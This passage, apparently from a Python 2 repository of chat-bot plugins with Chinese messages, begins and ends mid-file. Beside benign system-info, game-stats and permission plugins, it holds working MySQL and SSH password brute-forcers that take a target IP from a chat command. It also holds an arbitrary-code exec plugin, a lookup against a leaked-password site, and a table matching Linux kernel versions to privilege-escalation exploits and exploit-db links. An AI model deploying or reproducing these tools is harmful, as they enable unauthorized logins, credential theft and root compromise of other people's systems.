| len_hex = hex(len(data) / 2).replace("0x", "") 41 | auth_data = len_hex + "000001" + data 42 | return binascii.a2b_hex(auth_data) 43 | 44 | 45 | def check(ip, port, timeout,msg): 46 | socket.setdefaulttimeout(timeout) 47 | user_list = ['root', 'test'] 48 | PASSWORD_DIC = ['alpine', 49 | 'ohshit', 50 | '%null%', 51 | '000000', 52 | '111111', 53 | '11111111', 54 | '112233', 55 | '123123', 56 | '123321', 57 | '12345', 58 | '123456', 59 | '1234567', 60 | '12345678', 61 | '654321', 62 | '666666', 63 | '888888', 64 | 'abcdef', 65 | 'abcabc', 66 | 'abc123', 67 | 'a1b2c3', 68 | 'aaa111', 69 | '123qwe', 70 | 'qwerty', 71 | 'qweasd', 72 | 'admin', 73 | 'password', 74 | 'p@ssword', 75 | 'passwd', 76 | 'iloveyou', 77 | '5201314', 78 | 'dragon'] 79 | for user in user_list: 80 | for pass_ in PASSWORD_DIC: 81 | try: 82 | pass_ = str(pass_.replace('{user}', user)) 83 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 84 | sock.connect((ip, int(port))) 85 | packet = sock.recv(254) 86 | # print packet 87 | plugin, scramble = get_scramble(packet) 88 | auth_data = get_auth_data(user, pass_, scramble, plugin) 89 | sock.send(auth_data) 90 | result = sock.recv(1024) 91 | if result == "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00": 92 | msg.Reply("%s 存在弱口令,账号:%s,密码:%s" % (ip,user, pass_)) 93 | except Exception, e: 94 | if "Errno 10061" in str(e) or "timed out" in str(e): 95 | msg.Reply('扫描异常结束') 96 | return 97 | msg.Reply(ip+' 扫描结束') 98 | 99 | 100 | def work(msg,info): 101 | msg.content = msg.content.strip() 102 | if msg.content.startswith("crackmysql"): 103 | if not info.get('level', 3) < 3: 104 | return False 105 | try: 106 | host = msg.content.split(' ', 1)[-1] 107 | port = '3306' 108 | if host.count(' '): 109 | port = host.split(' ')[-1] 110 | host = host.split(' ')[0] 111 | threading.Thread(target=check, args=(host, int(port), 5, msg)).start() 112 | return '已经添加扫描任务' 113 | except: 114 | return help(info) 115 | else: 116 | return False 117 | 118 | 119 | def help(info): 120 | if not info.get('level',3) < 3: 121 | return False 122 | return '#crackmysql ip [port] 用于爆破mysql' 123 | -------------------------------------------------------------------------------- /plugin/crackssh.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import paramiko 3 | import threading 4 | 5 | 6 | def check(ip, port, timeout, msg): 7 | user_list = ['share','root', 'admin', 'oracle', 'weblogic'] 8 | ssh = paramiko.SSHClient() 9 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 10 | PASSWORD_DIC = ['share','alpine', 11 | 'ohshit', 12 | '000000', 13 | '111111', 14 | '11111111', 15 | '112233', 16 | '123123', 17 | '123321', 18 | '12345', 19 | '123456', 20 | '1234567', 21 | '12345678', 22 | '654321', 23 | '666666', 24 | '888888', 25 | 'abcdef', 26 | 'abcabc', 27 | 'abc123', 28 | 'a1b2c3', 29 | 'aaa111', 30 | '123qwe', 31 | 'qwerty', 32 | 'qweasd', 33 | 'admin', 34 | 'password', 35 | 'p@ssword', 36 | 'passwd', 37 | 'iloveyou', 38 | '5201314', 39 | 'dragon'] 40 | for user in user_list: 41 | for pass_ in PASSWORD_DIC: 42 | pass_ = str(pass_.replace('{user}', user)) 43 | try: 44 | ssh.connect(ip, port, user, pass_, timeout=timeout) 45 | ssh.close() 46 | if pass_ == '': pass_ = "null" 47 | msg.Reply("%s 存在弱口令,账号:%s,密码:%s" % (ip, user, pass_)) 48 | except Exception, e: 49 | if "Errno 61" in e or "timed out" in e: 50 | msg.Reply('扫描异常结束') 51 | return 52 | msg.Reply(ip + ' 扫描结束') 53 | 54 | 55 | def work(msg,info): 56 | msg.content = msg.content.strip() 57 | if msg.content.startswith("crackssh"): 58 | if not info.get('level', 3) < 3: 59 | return False 60 | try: 61 | host = msg.content.split(' ', 1)[-1] 62 | port = '22' 63 | if host.count(' '): 64 | port = host.split(' ')[-1] 65 | host = host.split(' ')[0] 66 | threading.Thread(target=check, args=(host, int(port), 5, msg)).start() 67 | return '已经添加扫描任务' 68 | except: 69 | return help(info) 70 | else: 71 | return False 72 | 73 | 74 | def help(info): 75 | if not info.get('level',3) < 3: 76 | return False 77 | return '#crackssh ip [port] 用于爆破ssh' 78 | -------------------------------------------------------------------------------- /plugin/exec.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import os 3 | def work(msg,info): 4 | msg.content=msg.content.strip() 5 | if msg.content.startswith("exec"): 6 | if info.get('level', 3)<1: 7 | try: 8 | _,code=msg.content.split(' ',1) 9 | exec code 10 | return '代码执行完毕' 11 | except Exception,e: 12 | print e 13 | return help(info) 14 | else: 15 | return False 16 | def help(info): 17 | if info.get('level',3)<1: 18 | return "#exec code 执行代码" 19 | -------------------------------------------------------------------------------- /plugin/findmima.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import urllib2 3 | import urllib 4 | 5 | 6 | def work(msg,info): 7 | if not msg.content.startswith('findmima'): 8 | return False 9 | if not info.get('level',3) < 4: 10 | return False 11 | data = msg.content.split(' ')[-1] 12 | try: 13 | brow = urllib2.build_opener(urllib2.HTTPCookieProcessor()) 14 | brow.addheaders = [] 15 | brow.addheaders.append(('Referer', 'http://2017.findmima.com/ajax.php?act=select')) 16 | brow.addheaders.append(('User-Agent', 17 | 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36')) 18 | brow.addheaders.append(('Host', '2017.findmima.com')) 19 | brow.addheaders.append(('Content-Type', 'application/x-www-form-urlencoded')) 20 | brow.addheaders.append(('Accept-Language', 'zh-cn')) 21 | 22 | postdata = urllib.urlencode({'select_act': '3', 23 | 'match_act': '1', 24 | 'key': data, 25 | 'table': 'myspace1'}) 26 | ret = brow.open('http://2017.findmima.com/ajax.php?act=select', postdata).read()[3:] 27 | datas = ret.split(';') 28 | result = '' 29 | for x in datas: 30 | try: 31 | info = x[7:-1].split('","') 32 | if result: 33 | result += '\n' + info[1] + ' ' + info[2] 34 | else: 35 | result += info[1] + ' ' + info[2] 36 | except: 37 | pass 38 | if result: 39 | return result 40 | return '没有查到' 41 | except Exception, e: 42 | return help(info) 43 | 44 | 45 | def help(info): 46 | if not info.get('level',3) < 4: 47 | return False 48 | return '#findmima data 查裤子' 49 | 50 | -------------------------------------------------------------------------------- /plugin/getsysteminfo.py: -------------------------------------------------------------------------------- 1 | #coding:utf-8 2 | import os 3 | def getCPUtemperature(): 4 | res = os.popen('vcgencmd measure_temp').readline() 5 | return(res.replace("temp=","").replace("'C\n","")) 6 | def getRAMinfo(): 7 | p = os.popen('free') 8 | i = 0 9 | while 1: 10 | i = i + 1 11 | line = p.readline() 12 | if i==2: 13 | return(line.split()[1:4]) 14 | def getCPUuse(): 15 | return(str(os.popen("top -n1 | awk '/Cpu\(s\):/ {print $2}'").readline().strip())) 16 | def getDiskSpace(): 17 | p = os.popen("df -h /") 18 | i = 0 19 | while 1: 20 | i = i +1 21 | line = p.readline() 22 | if i==2: 23 | return(line.split()[1:5]) 24 | def work(msg,info): 25 | if msg.content != 'getsysteminfo': 26 | return False 27 | if not info.get('level',3) < 4: 28 | return False 29 | try: 30 | RAM_stats = getRAMinfo() 31 | DISK_stats = getDiskSpace() 32 | return "CPU温度:"+getCPUtemperature()+"℃\nCPU使用:"+getCPUuse()+\ 33 | "%\nRAM总数:"+str(round(int(RAM_stats[0]) / 1000, 1)) + "MB\nRAM使用:"+str(round(int(RAM_stats[1]) / 1000, 1)) +\ 34 | "MB\nRAM未用:"+str(round(int(RAM_stats[2]) / 1000, 1)) + "MB\n磁盘总数:"+DISK_stats[0]+\ 35 | "\n磁盘使用:"+DISK_stats[1]+"\n磁盘空闲:"+DISK_stats[2] 36 | except Exception,e: 37 | return help() 38 | # return str(e) 39 | def help(info): 40 | if not info.get('level',3) < 4: 41 | return False 42 | return "#getsysteminfo 获取系统信息" -------------------------------------------------------------------------------- /plugin/jl.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import urllib2 3 | import urllib 4 | import json 5 | import re 6 | import sys 7 | 8 | reload(sys) 9 | sys.setdefaultencoding('utf-8') 10 | 11 | city = {} 12 | 13 | 14 | def load(): 15 | global city 16 | for server in re.findall('\{t: ".*?",v: "\d*?",status:"1", display:"1", opt_data_array:\[\]\}', urllib2.urlopen( 17 | 'http://gameact.qq.com/comm-htdocs/js/game_area/bns_server_select.js').read().decode('gbk').encode('utf-8')[ 18 | 263:-2949]): 19 | _, name, _, id, _ = server.split('"', 4) 20 | if name.count('(') > 0: 21 | name = name.split('(')[0] 22 | elif name.count('(') > 0: 23 | name = name.split('(')[0] 24 | city[name] = id 25 | 26 | 27 | load() 28 | def getBagua(info): 29 | result=[] 30 | result.append('1 ' + info[1] + ' 2 ' + info[2]) 31 | result.append('3 ' + info[3] + ' 4 ' + info[4]) 32 | result.append('5 ' + info[5] + ' 6 ' + info[6]) 33 | result.append('7 ' + info[7] + ' 8 ' + info[8]) 34 | return result 35 | 36 | def getInfo(add, name): 37 | if city.has_key(add): 38 | brow = urllib2.build_opener() 39 | brow.addheaders = [('User-agent', 40 | 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36'), 41 | ('Referer', 42 | 'http://bang.qq.com/tool/bns/jsqb.htm?serverId=' + city.get(add) + '&roleName=' + name)] 43 | print 'http://bang.qq.com/tool/bns/jsqb.htm?serverId=' + city.get(add) + '&roleName=' + name 44 | userinfo = json.loads(brow.open('http://bang.qq.com/ugc1/getJsqbData', 45 | urllib.urlencode({'serverId': city.get(add), 'roleName': name})).read()) 46 | result = [] 47 | result.append('昵称 : ' + name + ' 等级 : ' + str(userinfo['data']['level']) + ' 级 星级 : ' + str( 48 | userinfo['data']['mlevel']) + " 星") 49 | result.append('种族 : ' + {1: "天", 2: "龙", 3: "灵", 4: "人"}[int(userinfo['data']['race'])] + ' 职业 : ' + 50 | {1: "剑士", 2: "拳师", 3: "气功师", 5: "力士", 6: "召唤师", 7: "刺客", 8: "灵剑士", 9: "咒术师", 10: '气宗师'}[ 51 | int(userinfo['data']['job'])]) 52 | zhuangbei = userinfo['data']['item'] 53 | tmp = '' 54 | for zb in zhuangbei: 55 | if zb['type'] == 'gem': 56 | continue 57 | if tmp == "" or tmp[-1] == '\n': 58 | tmp += zb['name'] + ' ' 59 | else: 60 | tmp += zb['name'] + '\n' 61 | result.append(tmp[:-1]) 62 | tmp = {} 63 | for zb in zhuangbei: 64 | if zb['type'] != 'gem': 65 | continue 66 | tmp[zb['pos']] = zb['name'] 67 | result.extend(getBagua(tmp)) 68 | return '\n'.join(result) 69 | else: 70 | return '您输入的参数有误' 71 | 72 | 73 | def work(msg, info): 74 | msg = msg.content.strip() 75 | if msg.startswith("剑灵"): 76 | level = info.get('level', 3) 77 | if level < 4: 78 | try: 79 | _, add, name = msg.split(' ') 80 | return getInfo(add, name) 81 | except Exception, e: 82 | print e 83 | return help(info) 84 | else: 85 | return False 86 | 87 | 88 | def help(info): 89 | if info.get('level', 3)<4: 90 | return "#剑灵 独战群雄 络" 91 | -------------------------------------------------------------------------------- /plugin/level.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | def work(msg,info): 3 | msg=msg.content.strip() 4 | if msg.startswith("我的权限"): 5 | level=info.get('level', 3) 6 | if level>3: 7 | return '恭喜您,您现在在黑名单' 8 | elif level==3: 9 | return '您的权限是:狗群员' 10 | elif level==2: 11 | return '您的权限是:高级狗群员' 12 | elif level==1: 13 | return '您的权限是:狗管理' 14 | else: 15 | return '您的权限是:超级狗管理' 16 | else: 17 | return False 18 | def help(info): 19 | return "#我的权限 查看自己的权限" -------------------------------------------------------------------------------- /plugin/linux.py: -------------------------------------------------------------------------------- 1 | #coding:utf-8 2 | database = {'w00t': {'vuln': ['2.4.10', '2.4.16', '2.4.17', '2.4.18', '2.4.19', '2.4.20', '2.4.21']}, 3 | 'brk': {'vuln': ['2.4.10', '2.4.18', '2.4.19', '2.4.20', '2.4.21', '2.4.22']}, 4 | 'ave': {'vuln': ['2.4.19', '2.4.20']}, 5 | 'elflbl': {'vuln': ['2.4.29'], 6 | 'mil': 'http://www.exploit-db.com/exploits/744/'}, 7 | 'elfdump': {'vuln': ['2.4.27']}, 8 | 'elfcd': {'vuln': ['2.6.12']}, 9 | 'expand_stack': {'vuln': ['2.4.29']}, 10 | 'h00lyshit': { 11 | 'vuln': ['2.6.8', '2.6.10', '2.6.11', '2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16'], 12 | 'cve': '2006-3626', 13 | 'mil': 'http://www.exploit-db.com/exploits/2013/'}, 14 | 'kdump': {'vuln': ['2.6.13']}, 15 | 'km2': {'vuln': ['2.4.18', '2.4.22']}, 16 | 'krad': 17 | {'vuln': ['2.6.5', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11']}, 18 | 19 | 'krad3': { 20 | 'vuln': ['2.6.5', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11'], 21 | 'mil': 'http://exploit-db.com/exploits/1397', 22 | }, 23 | 24 | 'local26': {'vuln': ['2.6.13']}, 25 | 'loko': {'vuln': ['2.4.22', '2.4.23', '2.4.24']}, 26 | 27 | 'mremap_pte': { 28 | 'vuln': ['2.4.20', '2.2.24', '2.4.25', '2.4.26', '2.4.27'], 29 | 'mil': 'http://www.exploit-db.com/exploits/160/', 30 | }, 31 | 32 | 'newlocal': {'vuln': ['2.4.17', '2.4.19']}, 33 | 'ong_bak': {'vuln': ['2.6.5']}, 34 | 'ptrace': 35 | {'vuln': ['2.4.18', '2.4.19', '2.4.20', '2.4.21', '2.4.22']}, 36 | 'ptrace_kmod': { 37 | 'vuln': ['2.4.18', '2.4.19', '2.4.20', '2.4.21', '2.4.22'], 38 | 'cve': '2007-4573', 39 | }, 40 | 'ptrace_kmod2': { 41 | 'vuln': [ 42 | '2.6.26', '2.6.27', '2.6.28', '2.6.29', '2.6.30', '2.6.31', 43 | '2.6.32', '2.6.33', '2.6.34', 44 | ], 45 | 'alt': 'ia32syscall,robert_you_suck', 46 | 'mil': 'http://www.exploit-db.com/exploits/15023/', 47 | 'cve': '2010-3301', 48 | }, 49 | 'ptrace24': {'vuln': ['2.4.9']}, 50 | 'pwned': {'vuln': ['2.6.11']}, 51 | 'py2': {'vuln': ['2.6.9', '2.6.17', '2.6.15', '2.6.13']}, 52 | 'raptor_prctl': { 53 | 'vuln': ['2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17'], 54 | 'cve': '2006-2451', 55 | 'mil': 'http://www.exploit-db.com/exploits/2031/', 56 | }, 57 | 'prctl': { 58 | 'vuln': ['2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17'], 59 | 'mil': 'http://www.exploit-db.com/exploits/2004/', 60 | }, 61 | 'prctl2': { 62 | 'vuln': ['2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17'], 63 | 'mil': 'http://www.exploit-db.com/exploits/2005/', 64 | }, 65 | 'prctl3': { 66 | 'vuln': ['2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17'], 67 | 'mil': 'http://www.exploit-db.com/exploits/2006/', 68 | }, 69 | 'prctl4': { 70 | 'vuln': ['2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17'], 71 | 'mil': 'http://www.exploit-db.com/exploits/2011/', 72 | }, 73 | 'remap': {'vuln': ['2.4.']}, 74 | 'rip': {'vuln': ['2.2.']}, 75 | 'stackgrow2': {'vuln': ['2.4.29', '2.6.10']}, 76 | 'uselib24': { 77 | 'vuln': ['2.6.10', '2.4.17', '2.4.22', '2.4.25', '2.4.27', '2.4.29'] 78 | }, 79 | 'newsmp': {'vuln': ['2.6.']}, 80 | 'smpracer': {'vuln': ['2.4.29']}, 81 | 'loginx': {'vuln': ['2.4.22']}, 82 | 'exp.sh': {'vuln': ['2.6.9', '2.6.10', '2.6.16', '2.6.13']}, 83 | 'vmsplice1': { 84 | 'vuln': [ 85 | '2.6.17', '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', 86 | '2.6.23', '2.6.24', '2.6.24.1', 87 | ], 88 | 'alt': 'jessica biel', 89 | 'cve': '2008-0600', 90 | 'mil': 'http://www.exploit-db.com/exploits/5092', 91 | }, 92 | 'vmsplice2': { 93 | 'vuln': ['2.6.23', '2.6.24'], 94 | 'alt': 'diane_lane', 95 | 'cve': '2008-0600', 96 | 'mil': 'http://www.exploit-db.com/exploits/5093', 97 | }, 98 | 'vconsole': { 99 | 'vuln': ['2.6.'], 100 | 'cve': '2009-1046', 101 | }, 102 | 'sctp': { 103 | 'vuln': ['2.6.26'], 104 | 'cve': '2008-4113', 105 | }, 106 | 'ftrex': { 107 | 'vuln': [ 108 | '2.6.11', '2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16', 109 | '2.6.17', '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', 110 | ], 111 | 'cve': '2008-4210', 112 | 'mil': 'http://www.exploit-db.com/exploits/6851', 113 | }, 114 | 'exit_notify': { 115 | 'vuln': ['2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29'], 116 | 'mil': 'http://www.exploit-db.com/exploits/8369', 117 | }, 118 | 'udev': { 119 | 'vuln': ['2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29'], 120 | 'alt': 'udev <1.4.1', 121 | 'cve': '2009-1185', 122 | 'mil': 'http://www.exploit-db.com/exploits/8478', 123 | }, 124 | 125 | 'sock_sendpage2': { 126 | 'vuln': [ 127 | '2.4.4', '2.4.5', '2.4.6', '2.4.7', '2.4.8', '2.4.9', 128 | '2.4.10', '2.4.11', '2.4.12', '2.4.13', '2.4.14', '2.4.15', 129 | '2.4.16', '2.4.17', '2.4.18', '2.4.19', '2.4.20', '2.4.21', 130 | '2.4.22', '2.4.23', '2.4.24', '2.4.25', '2.4.26', '2.4.27', 131 | '2.4.28', '2.4.29', '2.4.30', '2.4.31', '2.4.32', '2.4.33', 132 | '2.4.34', '2.4.35', '2.4.36', '2.4.37', '2.6.0', '2.6.1', 133 | '2.6.2', '2.6.3', '2.6.4', '2.6.5', '2.6.6', '2.6.7', 134 | '2.6.8', '2.6.9', '2.6.10', '2.6.11', '2.6.12', '2.6.13', 135 | '2.6.14', '2.6.15', '2.6.16', '2.6.17', '2.6.18', '2.6.19', 136 | '2.6.20', '2.6.21', '2.6.22', '2.6.23', '2.6.24', '2.6.25', 137 | '2.6.26', '2.6.27', '2.6.28', '2.6.29', '2.6.30', 138 | ], 139 | 'alt': 'proto_ops', 140 | 'cve': '2009-2692', 141 | 'mil': 'http://www.exploit-db.com/exploits/9436', 142 | }, 143 | 144 | 'sock_sendpage': { 145 | 'vuln': [ 146 | '2.4.4', '2.4.5', '2.4.6', '2.4.7', '2.4.8', '2.4.9', 147 | '2.4.10', '2.4.11', '2.4.12', '2.4.13', '2.4.14', '2.4.15', 148 | '2.4.16', '2.4.17', '2.4.18', '2.4.19', '2.4.20', '2.4.21', 149 | '2.4.22', '2.4.23', '2.4.24', '2.4.25', '2.4.26', '2.4.27', 150 | '2.4.28', '2.4.29', '2.4.30', '2.4.31', '2.4.32', '2.4.33', 151 | '2.4.34', '2.4.35', '2.4.36', '2.4.37', '2.6.0', '2.6.1', 152 | '2.6.2', '2.6.3', '2.6.4', '2.6.5', '2.6.6', '2.6.7', 153 | '2.6.8', '2.6.9', '2.6.10', '2.6.11', '2.6.12', '2.6.13', 154 | '2.6.14', '2.6.15', '2.6.16', '2.6.17', '2.6.18', '2.6.19', 155 | '2.6.20', '2.6.21', '2.6.22', '2.6.23', '2.6.24', '2.6.25', 156 | '2.6.26', '2.6.27', '2.6.28', '2.6.29', '2.6.30', 157 | ], 158 | 'alt': 'wunderbar_emporium', 159 | 'cve': '2009-2692', 160 | 'mil': 'http://www.exploit-db.com/exploits/9435', 161 | }, 162 | 'udp_sendmsg_32bit': { 163 | 'vuln': [ 164 | '2.6.1', '2.6.2', '2.6.3', '2.6.4', '2.6.5', '2.6.6', 165 | '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11', '2.6.12', 166 | '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17', '2.6.18', 167 | '2.6.19', 168 | ], 169 | 'cve': '2009-2698', 170 | 'mil': 171 | 'http://downloads.securityfocus.com/vulnerabilities/exploits/36108.c', 172 | }, 173 | 'pipe.c_32bit': { 174 | 'vuln': [ 175 | '2.4.4', '2.4.5', '2.4.6', '2.4.7', '2.4.8', '2.4.9', 176 | '2.4.10', '2.4.11', '2.4.12', '2.4.13', '2.4.14', '2.4.15', 177 | '2.4.16', '2.4.17', '2.4.18', '2.4.19', '2.4.20', '2.4.21', 178 | '2.4.22', '2.4.23', '2.4.24', '2.4.25', '2.4.26', '2.4.27', 179 | '2.4.28', '2.4.29', '2.4.30', '2.4.31', '2.4.32', '2.4.33', 180 | '2.4.34', '2.4.35', '2.4.36', '2.4.37', '2.6.15', '2.6.16', 181 | '2.6.17', '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', 182 | '2.6.23', '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', 183 | '2.6.29', '2.6.30', '2.6.31', 184 | ], 185 | 'cve': '2009-3547', 186 | 'mil': 187 | 'http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c', 188 | }, 189 | 'do_pages_move': { 190 | 'vuln': [ 191 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23', 192 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29', 193 | '2.6.30', '2.6.31', 194 | ], 195 | 'alt': 'sieve', 196 | 'cve': '2010-0415', 197 | 'mil': 'Spenders Enlightenment', 198 | }, 199 | 'reiserfs': { 200 | 'vuln': [ 201 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23', 202 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29', 203 | '2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34', 204 | ], 205 | 'cve': '2010-1146', 206 | 'mil': 'http://www.exploit-db.com/exploits/12130/', 207 | }, 208 | 'can_bcm': { 209 | 'vuln': [ 210 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23', 211 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29', 212 | '2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34', '2.6.35', 213 | '2.6.36', 214 | ], 215 | 'cve': '2010-2959', 216 | 'mil': 'http://www.exploit-db.com/exploits/14814/', 217 | }, 218 | 'rds': { 219 | 'vuln': [ 220 | '2.6.30', '2.6.31', '2.6.32', '2.6.33', 221 | '2.6.34', '2.6.35', '2.6.36', 222 | ], 223 | 'mil': 'http://www.exploit-db.com/exploits/15285/', 224 | 'cve': '2010-3904', 225 | }, 226 | 'half_nelson': { 227 | 'vuln': [ 228 | '2.6.0', '2.6.1', '2.6.2', '2.6.3', '2.6.4', '2.6.5', 229 | '2.6.6', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11', 230 | '2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17', 231 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23', 232 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29', 233 | '2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34', '2.6.35', 234 | '2.6.36', 235 | ], 236 | 'alt': 'econet', 237 | 'cve': '2010-3848', 238 | 'mil': 'http://www.exploit-db.com/exploits/6851', 239 | }, 240 | 'half_nelson1': { 241 | 'vuln': [ 242 | '2.6.0', '2.6.1', '2.6.2', '2.6.3', '2.6.4', '2.6.5', 243 | '2.6.6', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11', 244 | '2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17', 245 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23', 246 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29', 247 | '2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34', '2.6.35', 248 | '2.6.36', 249 | ], 250 | 'alt': 'econet', 251 | 'cve': '2010-3848', 252 | 'mil': 'http://www.exploit-db.com/exploits/17787/', 253 | }, 254 | 'half_nelson2': { 255 | 'vuln': [ 256 | '2.6.0', '2.6.1', '2.6.2', '2.6.3', '2.6.4', '2.6.5', 257 | '2.6.6', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11', 258 | '2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17', 259 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23', 260 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29', 261 | '2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34', '2.6.35', 262 | '2.6.36', 263 | ], 264 | 'alt': 'econet', 265 | 'cve': '2010-3850', 266 | 'mil': 'http://www.exploit-db.com/exploits/17787/', 267 | }, 268 | 'half_nelson3': { 269 | 'vuln': [ 270 | '2.6.0', '2.6.1', '2.6.2', '2.6.3', '2.6.4', '2.6.5', 271 | '2.6.6', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11', 272 | '2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17', 273 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23', 274 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29', 275 | '2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34', '2.6.35', 276 | '2.6.36', 277 | ], 278 | 'alt': 'econet', 279 | 'cve': '2010-4073', 280 | 'mil': 'http://www.exploit-db.com/exploits/17787/', 281 | }, 282 | 'caps_to_root': { 283 | 'vuln': ['2.6.34', '2.6.35', '2.6.36'], 284 | 'cve': 'n/a', 285 | 'mil': 'http://www.exploit-db.com/exploits/15916/', 286 | }, 287 | 'american-sign-language': { 288 | 'vuln': [ 289 | '2.6.0', '2.6.1', '2.6.2', '2.6.3', '2.6.4', '2.6.5', 290 | '2.6.6', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11', 291 | '2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17', 292 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23', 293 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29', 294 | '2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34', '2.6.35', 295 | '2.6.36', 296 | ], 297 | 'cve': '2010-4347', 298 | 'mil': 'http://www.securityfocus.com/bid/45408/', 299 | }, 300 | 'pktcdvd': { 301 | 'vuln': [ 302 | '2.6.0', '2.6.1', '2.6.2', '2.6.3', '2.6.4', '2.6.5', 303 | '2.6.6', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11', 304 | '2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17', 305 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23', 306 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29', 307 | '2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34', '2.6.35', 308 | '2.6.36', 309 | ], 310 | 'cve': '2010-3437', 311 | 'mil': 'http://www.exploit-db.com/exploits/15150/', 312 | }, 313 | 'video4linux': { 314 | 'vuln': [ 315 | '2.6.0', '2.6.1', '2.6.2', '2.6.3', '2.6.4', '2.6.5', 316 | '2.6.6', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11', 317 | '2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17', 318 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23', 319 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29', 320 | '2.6.30', '2.6.31', '2.6.32', '2.6.33', 321 | ], 322 | 'cve': '2010-3081', 323 | 'mil': 'http://www.exploit-db.com/exploits/15024/', 324 | }, 325 | 'memodipper': { 326 | 'vuln': [ 327 | '2.6.39', '3.0.0', '3.0.1', '3.0.2', '3.0.3', '3.0.4', 328 | '3.0.5', '3.0.6', '3.1.0', 329 | ], 330 | 'cve': '2012-0056', 331 | 'mil': 'http://www.exploit-db.com/exploits/18411/', 332 | }, 333 | 'semtex': { 334 | 'vuln': [ 335 | '2.6.37', '2.6.38', '2.6.39', '3.0.0', '3.0.1', '3.0.2', 336 | '3.0.3', '3.0.4', '3.0.5', '3.0.6', '3.1.0', 337 | ], 338 | 'cve': '2013-2094', 339 | 'mil': 'http://www.exploit-db.com/download/25444/‎' 340 | }, 341 | 'perf_swevent': { 342 | 'vuln': [ 343 | '3.0.0', '3.0.1', '3.0.2', '3.0.3', '3.0.4', '3.0.5', 344 | '3.0.6', '3.1.0', '3.2', '3.3', '3.4.0', '3.4.1', 345 | '3.4.2', '3.4.3', '3.4.4', '3.4.5', '3.4.6', '3.4.8', 346 | '3.4.9', '3.5', '3.6', '3.7', '3.8.0', '3.8.1', 347 | '3.8.2', '3.8.3', '3.8.4', '3.8.5', '3.8.6', '3.8.7', 348 | '3.8.8', '3.8.9', 349 | ], 